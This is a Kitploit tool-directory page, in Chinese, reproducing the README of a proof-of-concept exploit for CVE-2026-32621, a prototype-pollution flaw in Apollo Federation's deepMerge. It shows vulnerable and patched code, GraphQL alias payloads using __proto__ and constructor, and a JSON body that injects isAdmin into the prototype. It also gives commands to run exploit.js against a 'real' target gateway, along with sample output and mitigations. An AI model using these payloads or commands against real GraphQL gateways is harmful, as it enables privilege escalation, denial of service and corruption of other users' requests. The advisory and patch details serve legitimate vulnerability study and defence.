Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — CVE-2026-32621 的 PoC 漏洞利用,演示了通过特制 GraphQL 别名引发 Apollo Federation deepMerge 原型污染,并附带已修复版本测试。 | Kitploit
工具/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
漏洞分析漏洞利用Web应用程序漏洞利用API 安全
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

CVE-2026-32621 的 PoC 漏洞利用,演示了通过特制 GraphQL 别名引发 Apollo Federation deepMerge 原型污染,并附带已修复版本测试。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
31个月前尚未审核
分享

CVE-2026-32621 - Apollo Federation 原型污染 PoC

概述

字段值
CVECVE-2026-32621
CVSS9.9 严重
CWECWE-1321(原型污染)
受影响版本Apollo Federation < 2.9.6、< 2.10.5、< 2.11.6、< 2.12.3、< 2.13.2
已修复版本2.9.6、2.10.5、2.11.6、2.12.3、2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

漏洞描述

Apollo Federation 的 deepMerge 函数(在 @apollo/query-planner 和 @apollo/gateway 中用于在查询计划执行期间合并子图响应)在访问 target[key] 之前未对键进行过滤。

当源对象将 __proto__ 作为自有属性(由 JSON.parse 生成)时,Object.keys() 会返回该键,而 target["__proto__"] 会通过原型链解析为 Object.prototype。随后合并操作将属性直接写入 Object.prototype,从而污染整个 Node.js 进程的全局原型链。

根本原因

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

攻击向量

1. 客户端(恶意 GraphQL 查询)

客户端发送包含名为 __proto__、constructor 或 prototype 字段别名的 GraphQL 查询。当网关处理响应时,deepMerge 将这些别名用作键,从而污染 Object.prototype。

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. 子图端(被入侵的子图)

被入侵的子图返回包含 __proto__ 键的 JSON。当网关通过 deepMerge 合并响应时,Object.prototype 被污染。

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. 嵌套链

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

影响

  • 权限提升:注入 isAdmin、role、permissions 属性
  • 拒绝服务:使用 null/损坏的函数覆盖 toString、valueOf
  • 数据完整性:注入影响业务逻辑的属性
  • 持久性:污染影响发送到网关实例的所有后续请求
  • 跨请求影响:攻击之后的任何请求都会看到被污染的原型

文档

文档内容
USAGE.md详细的使用指南,包含分步说明
DIAGRAM.md结构关系图与攻击流程可视化

文件

| 文件 | 用途 |

|------|---------| | exploit.js | 主漏洞利用脚本,包含 5 种攻击向量 + 本地演示 | | test_exploit.js | 单元测试(15 项测试,验证污染与修复) | | e2e_test.js | 端到端验证(10 项测试:网关 + 漏洞利用 + 验证) | | setup_vulnerable.js | 用于测试的易受攻击网关模拟器 |

使用方法

快速开始(本地演示)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

该命令无需运行网关即可演示确切的可利用代码路径。

完整利用(配合易受攻击的网关)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

运行测试

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

针对真实 Apollo 网关的利用

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

示例输出

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

攻击链示意图

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

完整的架构图请参阅 DIAGRAM.md。

缓解措施

  1. 升级到已修复版本:2.9.6、2.10.5、2.11.6、2.12.3、2.13.2
  2. 输入过滤:阻止字段别名和变量名中包含 __proto__、constructor、prototype 的 GraphQL 操作
  3. 子图信任:确保所有子图均来自可信来源
  4. Object.create(null):尽可能使用 null 原型对象

参考资料

  • NVD 条目
  • GitHub 安全公告 GHSA-pfjj-6f4p-rvmh
  • Apollo Federation 安全公告
  • CWE-1321

许可证

MIT

下载工具